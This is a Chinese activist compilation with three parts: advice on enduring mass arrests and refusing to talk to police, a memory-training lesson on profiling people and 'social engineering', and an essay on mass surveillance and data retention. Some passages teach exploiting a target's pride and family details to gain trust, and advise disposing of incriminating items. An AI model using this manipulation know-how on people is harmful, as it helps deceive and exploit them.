医护人员为人们治疗胡椒喷雾的伤害、帮助哮喘发作的人、治疗创伤后应激障碍、以及警察向被困人群发射的闪光榴弹所造成的伤害；全国律师协会的律师帮助解释了逮捕和可能的监禁程序，帮助人群中经验较少的示威者获得相关知识。一些抗议者在水壶里呆了近8个小时，所以当有人无法再坚持下去时，其他人用自己的身体和横幅遮挡，给需要如厕的人提供隐私。

当然，这里还有改进的空间。当国家分配的性别二元制通过监狱引入后，人们不加批判地就将这种二元制内化了，而没有考虑到我们的队伍里那些生活中违背出生时分配的性别中的人。

📌 包容是反抗者队伍必需注重的事情之一，因为你们反抗的这个现实世界是不包容的，同道们都会期待在自己构建的小世界中获得更多珍贵的价值。

在任何大规模逮捕的情况下，寻找那些看起来孤立无援的人并向他们提供支持绝对是可贵的；这可以减少任何队友屈服于威逼利诱而与警察合作的可能性。焦虑可能是反抗者最大的敌人；承认它，但不要让它统治你，并尽你所能让别人安心。当一个人可以获得一种资源（比如一个电话、一次律师访问）时，向周围的人询问一下，看看这些信息是否能对其他人有什么好处。

📌 在《直接行动》指南中我们强调过：不论如何不能出卖自己的队友。审讯者会使用各种手段逼迫你和他们合作，从暴打到心理诱导，有些人身体很强壮，也许能扛得住暴打，但是有可能扛不住心理诱导——尤其是像中国这样的互信度很低的社会里，日常情况下几乎所有人都是孤立的，长期缺乏理解、信赖和同情，当审讯者施加伪造的理解和同情时，很多人会难以抗住。避免这种情况下发生的唯一办法就是，您的队伍中必需用爱包围起来，用互爱连接所有人，不能让任何队友被边缘。只有熟悉被爱的人才能准确及时地识别审讯者制造的虚假善意。

8. 不要和警察说话

「图」

📌 必需不断重复这点 —— 你对警察说什么都不会有任何帮助，请记住这点。您只需要说：“对不起，警官，我的律师告诉我，我不应该告诉警察任何事，除了我的名字之外”。就这么简单。

一旦你进了监狱，警察就会竭尽全力让你开口。其手段范围从比较无辜的样子，比如 “那么，下面发生了什么事？” 到更明显的陷阱，比如 “如果有人对自己的罪名感到紧张，我们可以去谈谈你的罪名和接下来会发生的事 …… 我们只需要你放弃保持沉默的权利”。 即使你确定自己没有做任何违法的事，你所说的话也会让其他人陷入危险之中 —— 警察越是把你看成是一个愿意和他们交谈的人，他们就会给你更大的压力。看似不相关的谈话，都可以用来确定被拘留者之间的关联，以及以后用来对付你。

请专注于度过难关，直到你被释放。之后，在律师的指导下，你将有足够的时间减压。

📌 请记住，你很可能在牢房里被录音和/或录像。在拘留室内，由于身边似乎 “没有警察“，许多被捕者会感觉下意识地放松，开始公开谈论自己的生活、自己的组织工作、当天的事件以及许多其他话题，但却忘了很可能有隐藏的监视器存在。这些话题即使不直接入罪，也会给你的对手提供有关你们的行动项目和相互联系的信息，这只会伤害我们。

警察和管教人员很可能会有不公正的行为。他们是想激怒你。你可能会发现自己想告诉他们到底应该去哪里，以及其他与他们相似的卑鄙人物。还是省省吧。如果你自己憋不住，就想想其他和你一起被捕的人，为他们憋着。与警察的任何一种互动都不能改善你的案子或你周围人的案子。

9. 不要相信警察说的任何话

「图」

📌 一旦被捕，你就处于一种不确定的状态，在这种状态下，你对自己的处境几乎没有控制权 —— 这种不确定性可能导致的焦虑心理就是警察对付你的主要武器之一。如果你能在被拘留期间努力保证自己暂时不对潜在的结果做出情绪反应，你就能夺走警察对付你的大部分权力。

警察是很会欺负人的。他们会说谎话只是为了吓唬你：说你会面临几年的牢狱之灾，说你在监狱里会被殴打，说其他被捕者跟他们说过

“你做了什么”。不要相信任何一个字，一切都是假的。你的案子的证据以后会很清楚，不要听信警察说的任何话。在你被逮捕的时候，要集中精力确保警察从你那里得到的信息尽可能地少，这非常重要！

即使你莫名其妙地遇到了一个真心实意的好警察，他们也无论如何不能做出任何决定或承诺。他们可能对实际发生的事知之甚少。他们不发号施令，他们只是向上面传递信息。

所有人要齐心协力熬过被逮捕关押的过程，而不是去纠结警察的话，那没有任何意义。

10. 保持士气 (我们需要新的歌谱)

「图」

自从被水壶围困之后，一些被捕者都抱怨过那些行动中使用的歌曲。大部分只是类似 “永远团结” 的合唱。这些歌曲在某些情况下是不错的，但这一次人们见证了华盛顿特区15年来最大规模的逮捕，而这些歌曲与十年前大规模逮捕时人们所唱的歌曲简直一模一样。

我们需要新的歌曲，让人感到新鲜和现代。当然，要找到一首大家都喜欢的歌曲是不可能的，但至少可以通过扩大选择范围来保持它的趣味性。集体歌集应该包括针对各种情绪和环境的赞歌：欢欣鼓舞的曲目，没错，但也包括凝聚力量、严肃的团结、嘲笑警察，以及在不确定的情况下传播决心的力量。人们还需要其他方式来维持士气，同时一起打发时间，比如做游戏、讲故事和说笑话。

抗议者特别感谢所有在集会对面围观的人们，他们通过挥手和大喊声援来保持抗议者的精神状态 —— 但到目前为止，最令人振奋的支持是两个街区外的燃烧的豪华轿车从第13街传来的烟雾和橡胶轮胎燃烧的气味。这些勇气的传染，街道上其他地方的激烈抵抗声比任何歌曲都要更加甜美。

11. 一分预防胜过十分治疗

「图」

📌 所有这些建议只要稍加预想就会更加有效。例如，如果事先稍作计划，也许被拘留者的发言就会更有说服力；上述绝食的提议也是如此。在您的亲密团队中提前计划好一旦被围困，你们会怎么做 —— 是否要突围，如何迅速摆脱可能被定罪的一切物品，谁会携带一次性

电话，以及如何处理它们。

在反全球化抗议运动中，监狱声援战术取得了一些胜利，原因之一就是在组织大规模抗议活动的过程中，这些战术都是事先公开策划的。从理论上讲，你有可能在被捕后讨论并采用同样的团结战术，但在如此短的时间内很难得到其他人的认同。

📌 如果您忘记了战术策划和战略制定的方法，请回顾我们的《信息行动主义》指南系列，目前进行的第6集。

最重要的是，要在情感上和精神上为被拘留做好准备。熟悉自己的权利和典型的警察谎言和诱导伎俩。练习一句话，比如："在我有律师之前，我只会给你我的名字和地址"。或者最自信地表达你不会和警察说话的原则。排练一下。让自己习惯于说出来。

12. 最好任何时候都不要和警察说话

「图」

在你被释放后，你不必和给你打电话的警察、侦探或地区检察官交谈。向你的律师和你的队友们报告任何警察对你的接触或骚扰。

📌 另外，不要做任何"实际上等于"和警察说话的事：不要在获释后和媒体交谈 —— 无论他们发表什么有你名字的文章，对警察来说都和与你直接交谈一样有用。在签署任何集体诉讼之前，先和你的律师谈谈—— 如果你的刑事案件还在进行中，有些案件可能会要求取证，强迫你作证，这可能会成为对你不利的证据。

📌 一定践行良好的《安全文化》！并考虑如果警方没收了你的智能手机，可能会获得哪些关于你和你的团队的信息。更改你的密码。尽快把你的手机号码换成新的，这样来电就不会一直打到警察持有的号码上。

以上这些建议会为您提供一个起点 —— 但不要完全照搬。新的抗议者可以问问前几代的抗议者，他们应对大规模逮捕的经历。时代已经变了，但其中许多教训仍然是相关的—— 包括一些我们无法在这样的描述的东西。

一定要随机应变！您了解的可能性越多，您的应变计划就越丰富，您就越容易做到冷静沉着。好运。〇

—— 未完待续 ——

Making the Best of Mass Arrests

原文

*掌握*人的心理技巧：塑造超强记忆力的方法（8）- iYouPort

你应该了解的现实少数派报告

活动家、公民调查人员、游击队、团队组织者、反情报工作 …… 必备的技能

「图」

「图」

如果您忘记了或者还没有读过本系列此前的内容，在下面看到——建议按顺序阅读哦，因为其中的练习方法和游戏的难度在渐进增强：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》
- 《迷惑他人的把戏和速记法：塑造超强记忆力的方法（6）》
- 《使用逻辑快速记忆大量信息：塑造超强记忆力的方法（7）》

人脸识别并不那么可怕，可怕的是，您的脸和您的**一切**相关联的结果：您的风格、您的爱好、您的习惯、您的心理弱点、您的政治偏好、您的信仰 …… 后面这一大堆才是关键。换句话说，如果您能保住后面这一堆东西尽可能对陌生人不可见，那么，他们拿走您的脸、您的指纹、虹膜、步态等等一切，也很难直接对您构成威胁。

有几种情况也许你可能已经遇到过：

- 一场激烈的突发事件后，目击证人不论如何都想不起肇事者长什么样，无法协助破案；
- 一个陌生人走过来借打火机，然后你发现自己的手机不见了，

这才意识到刚才那个人是小偷，却怎么都想不起他长什么样子；
- 你组织一个比较大的团队一起工作，却总是难以为每个人合理地安排任务，因为你记不住他们各自擅长什么、有哪些心理特点和习惯；
- 你遭遇了一个可怕的政府间谍的滋扰，却难以准确地描绘此人，以至于无法帮助你的队友防范攻击；
- ……

还有很多。

☞对人的记忆和对事的记忆同样重要 —— 尤其是在行动中，因为您需要与大量的人打交道，“脸盲” 不仅仅是个笑话，甚至会有生命危险。

不论是团队组织还是个人防御，快速准确地记忆人的能力都是必备的基础。当然您还需要一些心理学技巧，也就是"社交工程"。

这里是 “超强记忆里” 第8集，主题就是帮助您记忆人，以及掌握人的心理技巧。

☞记忆人不仅是记住面孔和名字，还包括他们的风格、他们喜欢什么、他们的偏好习惯、弱点、过去的经历等等 —— 所有这一切都需要在您的大脑记忆库里编写易于索引提取的文档。

对于 *快速识别和利用* 来说，只记住名字可能没有用，名字只是一个标签，面部可以化妆掩饰，而一个人的潜在风格个性很难长时间地掩饰。如果您的大脑里有上述文档，就很容易能识破伪装。

人类是社会性动物，我们每个人都有一定程度的识别人脸的遗传能力，但记住对方的偏好习惯、特征、和弱点，可能需要付出一些努力。

☞记住这些信息的最好方法是将它们与对方的外表特征联系起来。

仔细观察一个人。注意他/她不同寻常的特征。可以是任意的细节，尤其是难以掩盖的细节。比如，前额是很高还是很低，是否有独特的鼻子或耳朵的形状、眼间距是否很宽或很窄、下巴上有浅凹吗、哪个部位有痣或者疤痕？

然后编写一个将其名字与这些特征相联系的故事。为了更好地记住这个故事和这个人，你需要确立你的情感态度：你喜欢他/她的主要特

征吗？为什么？

第一次见到某人时，看他的脸，仔细倾听他说话。将他的外表与不寻常的特征进行形象化描述。

「图」

「图」

练习

在报纸上或网络上寻找不同人物照片中不寻常的特征。

你必须能在心里自动处理一张脸，并识别出其与众不同的地方。从您所在国家中常见的脸开始，随后转到其他民族国家的人脸进行练习。

一开始也许你会感到，外国人“看起来都很像”，但继续练习你就会发现，即便是外国双胞胎，也有区分他们的方法。

☞这一训练就是要帮您克服这一点，在意识中构建一种识别性的视觉信息处理技巧。

这非常有用。因为在现实中您接触到的大部分人都是那种“普通人”，混在人堆里找不出来的人，准确识别每个人需要您付出一些努力。

敏锐是可以训练出来的。

档案#283

埃里克·芬克，生于 1905年，医生。在纳粹德国空军医院工作。

1942年，与西格蒙德·拉舍尔和恩斯特·霍尔茨列纳一起，参与了达豪集中营内罪恶的低温实验。

埃里克·芬克的工作主要集中在精神病药物学（精神药物的使用）、催眠术和操纵技巧在大规模人群中的应用。

众所周知，芬克喜欢意大利文艺复兴时期的绘画。收集了大量画作，其中可能包括从囚犯处没收的财产。

这些收藏品存放在他位于柏林的家中。他经常向同事和艺术爱好者展示自己收藏的画。

在集中营工作时，他有时会与囚犯讨论艺术，但这并不妨碍他在事后对他们进行罪恶的实验。

根据文件记载，埃里克·芬克于 1945年在德国荷尔斯泰因地区（Holstein）诺伊施塔特（ Neustadt）的一家军事医院中去世，死于德国投降前五天。

然而，有理由怀疑其死亡证明是伪造的，芬克也许已经逃往拉丁美洲。

在柏林被苏联军队占领前不久，芬克的收藏品全部消失了。

「图」

「图」

记忆关于人的信息

你有没有发现，有些时候你会很容易记住一句话，比如名言，却想不起这句话是谁说的？大多数人都会这样。这是因为，你对这句话产生了情感反应，却没有对说话人的名字产生同样的反应。

在记忆一个人的名字时，你需要注意不同寻常的属性，将它与这个名字联系起来，并形成对它的情绪态度。

☞这个属性只需要从您的本心中诞生，无所谓是否公正，这里只是为了帮助记忆。

其他信息也可以与这个属性联系起来，而不仅仅是对名字本身进行关联；如上所述，如果您处在反间谍的环境中，对方的名字根本无关紧要，甚至脸都无关紧要，这些都很容易掩饰。

在日常中也一样，记住对方的兴趣爱好和习惯，可以帮助您快速与对方形成共同语言 —— 这是社交工程的基本功。

比如，Mark Walker 的额头很高，喜欢国际象棋、电视剧《豪斯医生》（house 也有房子的意思），不喜欢其他人看电视足球比赛。你可以想象一个男人高高的前额上涂了一张棋盘，棋盘中间有个小房子，一群孩子在房子门前踢足球。突然，球飞过窗子落在了电视上。一个男人气呼呼地从里面走出来，他用红色马克笔在一张纸上写着“禁止踢球”，把这张纸贴在了自己的门上。

通过练习，你可以在一两秒的时间内构建一幅这样的图景，而且很容易长时间地记住它们。

☞家庭对于每个人来说都是一个重要的命题。你可以用它来获取他人的信任。

重要的是要记住对方家庭的情况，尤其是这些情况中你可以利用的细节。你可以将家庭信息与主要属性联系起来，生动地、带有感情地想象一个涉及家人的非同一般的故事。

⚠ 政府间谍接受的标准培训中就包括这点，以至于他们能迅速从目标人的家庭弱点中下手，以勒索目标人顺从于他们。

游戏—人物简介（等级1）

继续研究报纸上和网络上的人物照片。研究那些有趣的人的外貌特征，并记住尽可能多的有关他们的信息。

在你的大脑中为目标人编写一个易于索引的文档。这些练习会很有帮助。

语言描述

人物肖像描述法是19世纪时法国犯罪学家 Alphonse Bertillon 发明的，它为侦查学带来了彻底的改变。

这些技术有助于识别一个特定的人，找到他，并且确认其在犯罪现场的在场证明。

☞学习如何创作语言肖像是非常有用的能力。它有助于确认您在分析人物外表时应该注意的要点。这样就能帮助您更好地记住某个人。

在行动中尽可能不要保存和传播目标人的照片，这样会有很大风险，但是你可以轻松地使用语言来描述出对方的肖像 —— 准确的语言肖像描述可以帮助您和队友避免落入圈套，比如对方假扮本应与你会面的人的身份联络你……

现在语言描述系统基于四种类型的特征：

- 解剖学特征：描述人体 —— 性别、年龄、身高等等；
- 动态特征：描述动态 —— 姿势、面部表情等；

- 区别性特征：个体特征 —— 疤痕、身体部位残缺、跛行等；
- 附加特征：服装品味、配饰特点等等。

语言描述不仅仅是针对面部和外表的任意描述，而是针对每个特征的一组有限的参数。

比如，一个人额头的轮廓可以是斜的、直的、或者外凸的；因此，与其说一个人是被描述出来的，不如说此人是被 **归类** 出来的。这种方法从根本上简化了对他人语言描述的理解。

「图」

「图」

☞以下是一个简短的语言描述系统。

1、解剖学特征

- 性别
- 种族、肤色
- 近似的年龄范围，精确范围可达5年之内
- 身高
- 身材特点
- 毛发：颜色、发质、胡须
- 额头：高、中、低；轮廓：斜的、直的、外凸的
- 脸型。正面：圆形、椭圆形、长方形、梯形、三角形；侧面：凸面、直面、凹面
- 肤色：苍白、黝黑、红色、黄色
- 面部丰满度：瘦、中等、丰满
- 眉毛。颜色：浅色、黑；形状：直线形、弓形、弯曲形、连接形；形式：向内倾斜、向外倾斜
- 眼睛。位置：内凹、外凸；颜色：浅色、深色、灰色、蓝色、棕色、黑色……
- 鼻子。长度：小、中、大；宽度：窄、中、宽；形状：直形、凹形、凸形、起伏形；
- 嘴巴。尺寸：小、中、大；嘴角：水平、上扬、扭曲
- 嘴唇。厚度：薄、中、厚；上下唇相对位置：上部突出、下部突出、均匀
- 耳朵。尺寸：小、中、大；附着程度：向外伸、贴近头

2、动态特征

- 步伐：快、慢、蹒跚、跳跃、颤抖、曳步，跛行，拄拐
- 姿态：头部和颈部向前倾斜（驼背），挺拔（直背）
- 举止（独特的行为）：双手插兜，手臂放在身体两侧，双手放在背后，搓手。整理小胡子、络腮胡子，或擦额头。咬指甲，吐痰，以某种方式持香烟等等

3、区别性特征

疤痕、胎记、秃头、多毛、文身、面部或身体不对称，以及身体其他独特属性。

4、附加特征

服装、配饰：特别注意目标人的品味风格、喜欢的颜色、面料的偏好。

这就是为什么我们在“完美隐身”中强调，如果您需要隐藏自己，请选择那些您最不喜欢的、平日绝对不会选的衣着装束，这样才能让你看起来不像你。

☞以上这些非常重要！请记住这些词语和分类，您需要通过它们对目标人进行描绘。这是法医专业的描述方法，它非常便于构建绘图和记忆。

练习 —— 升级难度

继续按照陌生人的照片进行练习。这次要使用上文中概述的系统进行语言描述。用词要尽可能准确。

在看电影、新闻和观察街上其他人的时候，在心里用语言描述他们的外貌。

观察技能非常重要，这可能帮助您的反侦察实践变得轻松；它包括两方面：对值得注意的特征的了解，以及大量的实践。

这个练习可以不断升级，将它复杂化。试着把一个共同朋友、一个著名的演员、或一个政客描述给另一个人听，让对方从你的语言描述中确认他/她是谁。

对方判断的准确程度取决于您的描述用词的精准程度。

构建肖像时使用上文中的语言系统，然后和你的朋友互换角色进行练习。

☞当您可以对自己的描述的准确度满意的时候，开始在记忆文档中加入目标人的出生日期和职业、性格特点等信息。尽可能记住你能记住的一切，因为接下来的训练内容将需要您回忆这些信息。

生日问候是与您感兴趣的人保持联系的好借口。

在生活中努力使用这套方法吧，你会感激自己的记忆力的，因为你永远不知道自己会在何时、何地可能需要利用这样的联系。

测试！快速回答：

埃里克·芬克是在哪里去世的？

A：纳粹德国空军医院

B：达豪集中营

C：柏林

D：诺伊施塔特

「图」

「图」

练习 —— 书桌游戏（等级3）

记住一堆杂乱物品的具体位置，可以训练你的记忆力和注意力。培养自己的观察技能，并组织你的思维。

试着在现实生活中不断做这个练习，比如 记住书架上的书籍摆放的位置，书桌上物品的排列位置，以及停车场里不同汽车停放的具体位置。等等。

建立联系

游击队的反情报工作依赖于团队的敏锐。对员应该能熟练地以不同方式与完全不同的人沟通。活动家也一样，他们需要与更多人交谈、不

断需要获得关注和支持 —— 这样才能扩展你的行动能力。

通常情况下，第一次会面会有很大压力，因为你不知道对方的真心所想、对你和你的组织如何认识，甚至，对方是否敌方的间谍。随时都有危险。

☞这个时候最重要的事之一就是树立信心，缓解内心的焦虑和紧张。要做到这一点，你就需要尽可能进行不具威胁性的对话，在彼此都能感觉安全的地方进行交流。

对方的兴趣爱好是一个非常好的话题。每个人都有自己会喋喋不休一直谈论的主题，你要做到就是迅速找到对方的兴趣点，这是走入对方内心的路。

爱好可以是普通的，比如邮票、国际象棋、摄影、足球、占星学等等；也可以是罕见的，比如手绘艺术、种植稀有植物、探险经历等。

☞如果你发现了对方的兴趣点，你要做的是尽可能少插话，耐心地认真地倾听；你的微笑的专注是给对方最好的鼓励。

如果你还未能了解对方的兴趣爱好，那就在进行对话之前试着猜一下对对方来说有可能比较重要的事。可以尝试从他的职业入手；比如，你可以和工程师谈汽车、和教师谈 “如今的年轻人”等等。

⚠请记住，人们最喜欢谈论的是他们自己，而不是你所关心的东西 —— 你能够走入对方内心的途径就在这里。彼此都滔滔不绝的对话是基本无用的，你必须能做到仔细倾听，保持对话的平稳延续，这样才能尽快与对方建立信任，之后对方才会对你说的话感兴趣。

还记得我们在 “变得难以被追踪” 系列中强调过的吗：“您越是安静，听到的声音就越多。”

在试图与对方建立信任感的时候，不要害怕讨论陌生的话题。坦白地承认自己的无知，多问多听，这样反而能激发对方的自豪感，从而让对方更喜欢你。

☞要发自内心地对对方所谈论的内容感兴趣。如果你的提问不够真诚，对方会第一时间意识到（识别虚情假意这是每个人都有的天赋），这样你会很尴尬，补救它会非常难。

安全的对话可以缓解焦虑，营造轻松亲密的氛围，从中，你可以迅速对交谈对象有一个深透的了解。

☞记住，你要做的就是引导对方充分表现出他们自己的骄傲感、他们的优势、他们比你更强的地方，让对方在你面前处于这种心理环境下 —— 他们就会滔滔不绝，他们的弱点就会由此而暴露。

总之，先走进对方心里，再提出你的想法。这个顺序不可变动，否则无效。

练习

生活中有很多流于形式的和表面化的交流，比如出租车司机、店员、理发师、保安等等，他们说的话几分钟后你就会忘掉，当然他们自己也不会记得你。

☞但是，你完全可以利用这样闲散轻松的对话机会，培养自己与他人建立信任感的能力。这种能力在几乎任何时候都是极大的优势。

试着与他人攀谈，尝试猜测他们的爱好。比如，与司机攀谈，询问他们的经历；与理发师攀谈，询问他们是如何学会剪头发的；再比如，称赞小店里的某个商品，店主会迅速对你感兴趣。

就算你没有从谈话中获得任何想要的东西，你也没有任何损失；但是，你肯定能获得宝贵的经验，甚至可以学到很多有趣的东西。

⚠ 骄傲，这是绝大多数人都扛不住的心理弱点。只要你能让对方自我感觉良好，把你自己变成一个谦逊的渴望新知的小学生，这样你就能很容易得到你想要的东西。

稍过一段时间，你就可以自如地引入你自己的主题了。〇

—— 未完待续 —— 广告

原文

“六行字足够绞死你”，这不是玩笑 —— 监视之恶（五）数据指控 - iyouport

监视之恶-关于你可能还不知道的真相

【2018年2月16日存档】当你的生活的一切都被记录下来的时候，任何掌握这些数据的人都能置你于死地 —— 从中找到那“六行字”易如反掌，只要他们想去找。

---

17 世纪，法国政治家红衣教主 Cardinal Richelieu 有句名言，“给我这个世界上最诚实的人写的六行字，我一定能从中找到足够的理由来绞死他”。无独有偶，斯大林手下的秘密警察首脑 Lavrentiy Beria 曾扬言，“让我看一下那个人，我就能告诉你他是个罪犯”。

他们表达的是相同的意思，即 如果你拥有关于某人的足够的数据，你就能找到足够的证据来发现他犯了某些罪。这就是为什么许多国家的法庭禁止警方进行非法调查（fishing expedition），这也是为什么美国宪法明确禁止空白搜查令 —— 就是那种基本上允许警方搜查任何东西的文件。空白搜查令是最有可能被极度滥用的东西，它们曾被统治美国的英国殖民者当成控制社会的方式。

相比互联网，上述那些都显得太麻烦了。

合肥市纪委监察委称，2018 年 3 月，在办理一则指定专案中，纪委人员从谈话对象处提取到一组被删除的微信聊天记录，“调查人员根据此条线索变换谈话思路，使谈话对象心理松动，交代问题，推进专案审查调查工作”。

互联网上没有真正的“删除”这是常识。一条信息被删除，它并没有进入回收站或彻底删除，以 Android 手机为例，被删除的信息只是意味着记录该信息的位置可以被新的数据覆写，有许多数据恢复软件或取证工具可以恢复被删除的信息。

不止是各种即时通信 APP 的聊天记录，手机上的文件、通讯录、短信、通话记录、记事本、日历等等也都一样，即使删掉也都可能恢复

出来。同时，有一个技术领域叫司法取证，其中对手机的取证是很重要的研究方向，有大量相关论文。中国的一些取证工具已经可以支持对几十种即时通信 **APP** 进行取证。

以微信为例，聊天记录保存在两个地方：腾讯的服务器和用户的设备，删除信息并不意味着腾讯会同时从服务器上删除信息，所以恢复信息最简单方法是向腾讯索取。微信并没有采用端对端加密，对腾讯而言你的信息就是明文，监视者无需担心解密。如果不向腾讯索取，那么恢复手机上的删除信息也是可能的。

“泛在监控”

泛在监控意味着，只要警方下决心搜寻证据，任何人都可能被判违法。不知道今年的五一劳动节中国人在做什么，也许和以往一样的享受假期娱乐。但在英国、德国，这一天人们走上街头根据隐私保护组织的呼吁举行了反对警方在公共场合使用间谍工具监视大众手机的活动（Twitter 标签 #spypolice）

世界各地的警察正在使用越来越先进的技术在公共场所追踪他们想要的人。这些技术的使用会出现严重的隐私问题，因为它会收集大量的个人数据，而且被收集者往往不知情，并允许无限期地存储这些数据，而没有适当的保护措施或独立监督来防止滥用。

这些技术将会对抗议权、言论自由权和集会权产生越来越激烈的削弱。隐私保护组织呼吁人们关注这件事，以制止当权者秘密从智能手机下载内容的行为。在中国似乎尚未出现或未曝光这种恶劣的泛在监视手段的存在，但毫无悬念的，北京一定会学到并使用这种方法，历史证明，他们把其他国家发明的一切恶劣的监视手段都学到手了。

生活在一个你所做的一切都可能被储存，并在未来作为呈堂证供的世界里，这些监视技术是非常危险的，尤其是在那些具有很多模糊性和惩罚性的法律存在的国家，使得公诉人的自由裁量权超过需要他负责的部分，再加上有宽泛的材料为法律辩护。“六行字足够绞死你”，这不是玩笑。

中国什么样大多数人都了解，美国也差不多。“恐怖主义”的法律意义被无限扩展，以至于有人给哈马斯人道主义部门捐了 **10** 美元，也被视为了“恐怖主义帮凶”（这里链接指向详细报道）。

监控将所有人置于危险之中，即使你没做错任何事也无法避免引火烧身，因为“错误”的定义是主观的，并且可以迅速改变。

如今的技术产生了如此多的数据，并且将它们无限期地保存起来，这一形势变得更加严峻了。这些非法的调查可以回溯到过去很久，甚至能找到你五年十年之前说过的话、做过的事，如果红衣教主想惩罚你，将轻而易举。

政府监视的另一大危害是导致人们被分类和区别对待。乔治华盛顿大学教授 Daniel Solove 将其称之为“卡夫卡式的”（链接指向这本书的详细内容）。如此多的数据被秘密使用，你无法辩驳，甚至无法看到对自己不利的证据。当系统开始使用这些监控数据进行自动决策时，这种情形将会被强化。

中国的女歌手吴虹飞曾经在微博上写道“我想炸的地方有北京人才交流中心的居委会，还有建委”，结果如何大家都知道，那是 2013年。在此前一年，一位爱尔兰年轻人 Leigh Van Bryan 准备趁假期来美国旅行，他在 Twitter 上写道：“这周放假，先行预告，我将摧毁美国”。美国政府已经全面监视了 Twitter，特工立刻收集到了 Bryan 的个人身份信息，他的班机一落地就直接到边境口岸抓住了他。

在英国的状况可能更糟，人们会因为一条带有种族主义的 tweet 或 Facebook 帖子被判入狱（链接是两个具体案例的报道）。如今很多国家纷纷开始利用所谓的“假新闻法”，惩治当权者不喜欢的一切内容。马来西亚颁布此法案一个月后就抓捕了第一个人，此人只是说“马来西亚警方花了50分钟时间回应吉隆坡的紧急电话”，但马来西亚警察总监反驳说“时间为八分钟”。

更可怕的是美国军方以目标数据为基础开展部分无人机空袭。无人机空袭有两种：一种是定点清除 targeted killing，通过监控设备实现对某个已知个体的锁定；另一种是特征打击 signature strike，基于行为和个体特征对身份不确定的目标进行打击：他们的表面年龄、性别、位置以及看似正在做的事。2010年在巴基斯坦境内实施打击的高峰期，有至少一半属于“特征打击”。Manning 曝光的著名视频“Collateral Murder”显示，美军在巴格达空袭中误杀了两名路透社记者。就是属于这种攻击模式。

政府审查

如今互联网上的政府审查比以往任何时候都多。不仅仅是出于政治的原因，宗教国家可以随意使用传统或教义来审查人们的言论，在中国这种政府声称“以德治国”的国家，其“德”之模糊和宽泛，可允许执法者随意扩张非法内容的标准。

越南的“72号法令 Decree 72”禁止人们在网上讨论时事；英国默认审查色情内容，甚至包括裸体油画；法国、德国、奥地利审查“新纳粹”内容，包括被审查者认为是“煽动暴力”的网站；坦桑尼亚要求上网发言的人要先交费购买许可证，实现全面实名；巴基斯坦通过对 Twitter 和Facebook 施加压力删除揭露政府酷刑的内容……

大多数审查都因其监控的前提迅速变成了人们的自我审查，只要人们知道政府正在关注自己所说的每一句话，他们就不太可能阅读或谈论有可能“违禁”的话题了。2014 年颁布的俄罗斯法律要求博客作者必需实名登记，就是希望借此激发自我审查。中国采取全面实名登记后，中国社会看起来更擅长装傻了。

人权观察组织早有报告，新闻记者对情报界和国家安全部门的报道已经被大规模监控严重制约。想爆料的内部知情人士不再有可能联系记者，因为他们担心自己被起诉。人权观察组织的结论是，大规模监控已经导致公民的知情权被剥夺，这正是社会整体寒蝉效应的产物。

联合国人权事务高级专员在 2014 年报告中指出：即使是仅存在捕获通信信息的可能，也会对隐私产生困扰，对个人权利 —— 包括言论自由和结社自由的权利 —— 产生寒蝉效应。

此言不虚。法国前总统萨科齐在竞选演讲中就直接说：“任何定期浏览助长恐怖、仇恨或暴力风气网站的人，都将被送进监狱” —— 这三个边界最为模糊的形容词直接变成了能绞死你的那六行字。

并且，这些可怕的审查不仅仅关乎现在，也同样关乎过去，因为这是互联网时代。

回溯性监控

每个人都会后悔自己多年前曾经说过的话或做过的事，不仅因为下意识的不可控和习惯性的口不择言，更多的是，每个人都会成长，认知、理解能力和眼界都会随着时间不断变化，还要加上身份地位的变化引发的看待一件事的角度出现了不同，没有任何活人会一成不变。

在互联网和各种 AI 监视手段出现之前，人类的对话和互动都是短暂的，这是我们思考和谈话的自然方式，除了罕见的例外：一本完好保存的日记，一个速记员抄录的法庭诉讼，一个政治候选人的演讲记录。

但现在一切都变了，面对面的会谈或会议越来越少，所有人都在网上

交流、和亲密的伴侣通过即时通讯工具说悄悄话，人们盲目的认为这些谈话依旧是短暂的，但它不是，它们被完整地保存在你我无法控制的地方。

无法控制意味着你没有后悔的权利了，它们不能再被删除。

比尔盖茨在 1997 年就体会到了这一问题的可怕，他多年前的电子邮件被提供给了对手律师，作为微软公司反垄断诉讼发现过程的一部分。2014 年，一百多位明星也深刻体会到了这一可怕，她们自己认为已经删除了的私密照片被从她们的 iCloud 中窃取，而且在很大范围内被共享了（著名的艳照门事件）。

你通过互联网表达所有内心、你只要走出家门就会被各种摄像头瞄准、你购买的所有东西都被记录在案、你出门乘坐的一切交通工具加在一起就是你一生的行踪路线……当你的生活的一切都被记录下来的时候，任何掌握这些数据的人都能置你于死地 —— 从中找到那“六行字”易如反掌，只要他们想去找。

还有人觉得“从被删除的聊天记录中发现呈堂证供”这事有什么奇怪的吗？

政府和情报部门储存了大量的历史数据，而且随着技术的迅速增长，储存将变得越来越便宜，也就是意味着储存时间将随之迅速增加。2008 年时 XKEYSCORE 数据库只例行储存三天的语音和邮件内容，但它搜集了一个月的元数据；一个名为 MARINA 的数据库搜集并储存所有人一年内的历史记录；名为 MYSTIC 的数据库可储存整个百慕大群岛所有的通话记录；NSA 储存五年的电话元数据……如今俄罗斯和中国等国家都要求储存数据在本地，至少几个月以供当权者查看。

任何数据 —— Facebook 的历史数据、twitter 的数据、车牌扫描数据等等一切 —— 基本上已经可以被永久性保存，直到企业和政府机关自己决定删除。

当人们知道有关自己的一切都将被记录时，就不可能再自由发表言论和单独行动。当你经常处于审判、批评和纠正的威胁中时，你肯定会担心，不论是在现在还是不可预期的将来，这些被留存的数据将置你于死地。无论任何形式的授权监视和储存，都将集中于你我曾经的隐私和无辜行为。

所有人因此失去了个性，没人再敢于质疑当权者，社会停滞不前。权力无人监督，变得肆无忌惮，而人们只会听话顺从，彻底失去自由。

没有异议就没有社会进步，就没有民主

寒蝉效应对政治言论产生了严重的伤害。异议对民主有绝对重要的价值，同时所谓的“违法”也可能是有价值的，这正是人类变革社会的两种重要方式，泛在监控是民主自由和进步的大敌。

